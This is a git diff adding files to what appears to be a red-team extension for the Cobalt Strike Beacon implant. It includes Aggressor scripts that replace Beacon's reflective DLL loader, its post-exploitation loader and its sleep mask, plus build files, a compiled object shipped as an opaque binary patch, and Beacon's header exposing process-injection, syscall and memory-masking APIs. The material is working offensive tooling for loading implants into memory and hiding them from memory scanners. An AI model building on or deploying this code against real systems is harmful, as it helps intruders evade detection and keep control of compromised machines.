@@ -40,6 +48,12 @@ typedef struct { IMAGE_OPTIONAL_HEADER * OptionalHeader; } DLLDATA; +/* + * utility functions + */ +DWORD adler32sum(unsigned char * buffer, DWORD length); +DWORD ror13hash(const char * c); + /* * printf-style debugging. */ @@ -50,6 +64,7 @@ void dprintf(char * format, ...); */ typedef void (*PICOMAIN_FUNC)(char * arg); +PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); int PicoCodeSize(char * src); int PicoDataSize(char * src); @@ -58,8 +73,8 @@ void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); /* * Resolve functions by walking the export address table */ -void * findFunctionByHash(char * src, DWORD wantedFunction); -char * findModuleByHash(DWORD moduleHash); +FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); +HANDLE findModuleByHash(DWORD moduleHash); /* * DLL parsing and loading functions diff --git a/loaders.cna b/loaders.cna new file mode 100644 index 0000000..6aebcf4 --- /dev/null +++ b/loaders.cna @@ -0,0 +1,107 @@ +debug ( 7 ); + +import crystalpalace.spec.* from: crystalpalace.jar; +import java.util.HashMap; + +sub print_info { + println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Loaders]\o " . $1 ); +} + +sub print_error { + println ( formatDate ( "[HH:mm:ss] " ) . "\c4[Crystal Loaders]\o " . $1 ); +} + +# ---------------------------------- +# $1 - Beacon payload file name +# $2 - Beacon payload (dll binary) +# $3 - Beacon architecture (x86/x64) +# ---------------------------------- +set BEACON_RDLL_GENERATE +{ + local ( '$path $spec $cap $final' ); + + $path = getFileProper ( script_resource ( "loader" ), "loader.spec" ); + $spec = [ LinkSpec Parse: $path ]; + $cap = [ Capability Parse: $2 ]; + $final = [ $spec run: $cap, [ new HashMap ] ]; + + if ( strlen ( $final ) == 0 ) + { + print_error ( "Failed to build custom loader." ); + return $null; + } + + print_info ( "Built custom loader." ); + return $final; +} + +# ---------------------------------- +# $1 - Beacon payload file name +# $2 - Beacon payload (dll binary) +# $3 - Beacon architecture (x86/x64) +# $4 - Parent beacon ID +# $5 - GetModuleHandleA pointer +# $6 - GetProcAddress pointer +# ---------------------------------- +set BEACON_RDLL_GENERATE_LOCAL +{ + local ( '$path $spec $cap $vars $final' ); + + $path = getFileProper ( script_resource ( "loader" ), "smart-loader.spec" ); + $spec = [ LinkSpec Parse: $path ]; + $cap = [ Capability Parse: $2 ]; + + $vars = [ new HashMap ]; + [ $vars put: "\$GMH", cast ( $5, 'b' ) ]; + [ $vars put: "\$GPA", cast ( $6, 'b' ) ]; + + $final = [ $spec run: $2, $vars ]; + + if ( strlen ( $final ) == 0 ) + { + print_error ( "Failed to build custom loader." ); + return $null; + } + + print_info ( "Built custom loader." ); + return $final; +} + +# ------------------------------------ +# $1 – Post-ex payload file name +# $2 – Post-ex payload (dll binary) +# $3 – Post-ex architecture (x86/x64) +# $4 – parent Beacon ID +# $5 – GetModuleHandle pointer +# $6 – GetProcAddress pointer +# ------------------------------------ +set POSTEX_RDLL_GENERATE +{ + local ( '$path $spec $cap $vars $final' ); + + # not sure how smart inject works for cross-arch + # injection because pointers are different sizes + if ( barch ( $4 ) ne $3 ) { + print_error ( "Cannot use smart inject for cross-arch injection. Falling back to default loader." ); + return $null; + } + + $path = getFileProper ( script_resource ( "postex" ), "loader.spec" ); + $spec = [ LinkSpec Parse: $path ]; + $cap = [ Capability Parse: $2 ]; + + $vars = [ new HashMap ]; + [ $vars put: "\$GMH", cast ( $5, 'b' ) ]; + [ $vars put: "\$GPA", cast ( $6, 'b' ) ]; + + $final = [ $spec run: $2, $vars ]; + + if ( strlen ( $final ) == 0 ) + { + print_error ( "Failed to build custom postex loader." ); + return $null; + } + + print_info ( "Built custom postex loader." ); + return $final; +} diff --git a/mask.cna b/mask.cna new file mode 100644 index 0000000..6418507 --- /dev/null +++ b/mask.cna @@ -0,0 +1,39 @@ +debug ( 7 ); + +import crystalpalace.spec.* from: crystalpalace.jar; +import java.util.HashMap; + +sub print_info { + println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Mask]\o " . $1 ); +} + +sub print_error { + println ( formatDate ( "[HH:mm:ss] " ) . "\c4[Crystal Mask]\o " . $1 ); +} + +# ---------------------------------- +# $1 - Beacon type (default, pivot) +# $2 - Beacon architecture (x86/x64) +# ---------------------------------- +set BEACON_SLEEP_MASK +{ + local ( '$path $spec $cap $coff $final' ); + + $path = getFileProper ( script_resource ( "mask" ), "mask.spec" ); + + $spec = [ LinkSpec Parse: $path ]; + $cap = [ Capability None: $2 ]; + $coff = [ $spec run: $cap, [ new HashMap ] ]; + + $final = bof_extract ( $coff, "go" ); + + if ( strlen ( $final ) == 0 ) + { + print_error ( "Failed to build custom sleepmask." ); + return $null; + } + + + print_info ( "Built custom sleepmask." ); + return $final; +} diff --git a/mask/Makefile b/mask/Makefile new file mode 100644 index 0000000..424518b --- /dev/null +++ b/mask/Makefile @@ -0,0 +1,19 @@ +CC=i686-w64-mingw32-gcc +CC_64=x86_64-w64-mingw32-gcc +CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith + +.PHONY: all x86 x64 clean + +all: x86 x64 + +bin: + mkdir -p bin + +x86: bin + $(CC) -DWIN_X86 $(CFLAGS) -c src/mask.c -o bin/mask.x86.o + +x64: bin + $(CC_64) -DWIN_X64 $(CFLAGS) -c src/mask.c -o bin/mask.x64.o + +clean: + rm -rf bin diff --git a/mask/bin/mask.x64.o b/mask/bin/mask.x64.o new file mode 100644 index 0000000000000000000000000000000000000000..b76c2066c57a995264d448c8313599b3de28d3f7 GIT binary patch literal 3582 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 literal 0 HcmV?d00001 diff --git a/mask/mask.spec b/mask/mask.spec new file mode 100644 index 0000000..6d6be68 --- /dev/null +++ b/mask/mask.spec @@ -0,0 +1,11 @@ +x86: + load "bin/mask.x86.o" + make coff +optimize + mergelib "../libtcg.x86.zip" + export + +x64: + load "bin/mask.x64.o" + make coff +optimize + mergelib "../libtcg.x64.zip" + export diff --git a/mask/src/beacon.h b/mask/src/beacon.h new file mode 100644 index 0000000..70ae514 --- /dev/null +++ b/mask/src/beacon.h @@ -0,0 +1,392 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) + * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11 + * 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12 + * 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12 + * 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12 + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + +DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + +/* Beacon Information */ +/* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ +typedef struct { + char * ptr; + size_t size; +} HEAP_RECORD; +#define MASK_SIZE 13 + +/* Information the user can set in the USER_DATA via a UDRL */ +typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_UDC2_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 +} ALLOCATED_MEMORY_PURPOSE; + +typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 +} ALLOCATED_MEMORY_LABEL; + +typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, +} ALLOCATED_MEMORY_ALLOCATION_METHOD; + +/** +* This structure allows the user to provide additional information +* about the allocated heap for cleanup. It is mandatory to provide +* the HeapHandle but the DestroyHeap Boolean can be used to indicate +* whether the clean up code should destroy the heap or simply free the pages. +* This is useful in situations where a loader allocates memory in the +* processes current heap. +*/ +typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; +} HEAPALLOC_INFO, *PHEAPALLOC_INFO; + +typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; +} MODULESTOMP_INFO, *PMODULESTOMP_INFO; + +typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; +} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; +} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked + DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading +} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; + +typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation +} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; + +typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; +} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; + +/* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ +typedef struct { + unsigned int version; + char * sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char * beacon_ptr; + HEAP_RECORD * heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; +} BEACON_INFO, *PBEACON_INFO; + +DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); + +/* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ +DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); +DECLSPEC_IMPORT void * BeaconGetValue(const char * key); +DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); + +/* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + +typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; +} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; + +DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); +DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); + +/* Beacon User Data functions */ +DECLSPEC_IMPORT char * BeaconGetCustomUserData(); + +/* Beacon System call */ +/* Syscalls API */ +typedef struct +{ + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; +} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; + +typedef struct +{ + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + SYSCALL_API_ENTRY ntQueueApcThread; + SYSCALL_API_ENTRY ntCreateProcess; + SYSCALL_API_ENTRY ntOpenProcessToken; + SYSCALL_API_ENTRY ntTestAlert; + SYSCALL_API_ENTRY ntSuspendProcess; + SYSCALL_API_ENTRY ntResumeProcess; + SYSCALL_API_ENTRY ntQuerySystemInformation; + SYSCALL_API_ENTRY ntQueryDirectoryFile; + SYSCALL_API_ENTRY ntSetInformationProcess; + SYSCALL_API_ENTRY ntSetInformationThread; + SYSCALL_API_ENTRY ntQueryInformationProcess; + SYSCALL_API_ENTRY ntQueryInformationThread; + SYSCALL_API_ENTRY ntOpenSection; + SYSCALL_API_ENTRY ntAdjustPrivilegesToken; + SYSCALL_API_ENTRY ntDeviceIoControlFile; + SYSCALL_API_ENTRY ntWaitForMultipleObjects; +} SYSCALL_API, *PSYSCALL_API; + +/* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ +typedef struct +{ + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; +} RTL_API, *PRTL_API; + +/* Updated in version 4.11 to use the entire structure instead of pointers to the structure. + * This allows for retrieving a copy of the information which would be under the BOF's + * control instead of a reference pointer which may be obfuscated when beacon is sleeping. + */ +typedef struct +{ + SYSCALL_API syscalls; + RTL_API rtls; +} BEACON_SYSCALLS, *PBEACON_SYSCALLS; + +/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ +DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); + +/* Beacon System call functions which will use the current system call method */ +DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); +DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); +DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); +DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); +DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); +DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); +DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); +DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + +/* Beacon Gate APIs */ +DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); + +DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); + +/* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 +*/ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 + +typedef struct +{ + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; +} USER_DATA, * PUSER_DATA; diff --git a/mask/src/beacon_gate.h b/mask/src/beacon_gate.h new file mode 100644 index 0000000..5269690 --- /dev/null +++ b/mask/src/beacon_gate.h @@ -0,0 +1,68 @@ +/* Beacon gate defines. */ +#define MAX_BEACON_GATE_ARGUMENTS 10 +#define beaconGate(i) ((BEACON_GATE_##i)function_call->functionPtr) +#define arg(i) (ULONG_PTR)function_call->args[i] + +/* Enum to specify what WinAPI is being called. */ +typedef enum _WinApi { + INTERNETOPENA, + INTERNETCONNECTA, + VIRTUALALLOC, + VIRTUALALLOCEX, + VIRTUALPROTECT, + VIRTUALPROTECTEX, + VIRTUALFREE, + GETTHREADCONTEXT, + SETTHREADCONTEXT, + RESUMETHREAD, + CREATETHREAD, + CREATEREMOTETHREAD, + OPENPROCESS, + OPENTHREAD, + CLOSEHANDLE, + CREATEFILEMAPPING, + MAPVIEWOFFILE, + UNMAPVIEWOFFILE, + VIRTUALQUERY, + DUPLICATEHANDLE, + READPROCESSMEMORY, + WRITEPROCESSMEMORY, + EXITTHREAD, + VIRTUALFREEEX, + VIRTUALQUERYEX, + WAITFORSINGLEOBJECT, + SLEEP +} WinApi; + +/** + * FUNCTION_CALL struct which encapsulates atomic function call. + * + * functionPtr - target function to call + * function - Enum representing target WinApi + * numOfArgs - number of arguments + * args - array of ULONG_PTRs containing the passed arguments 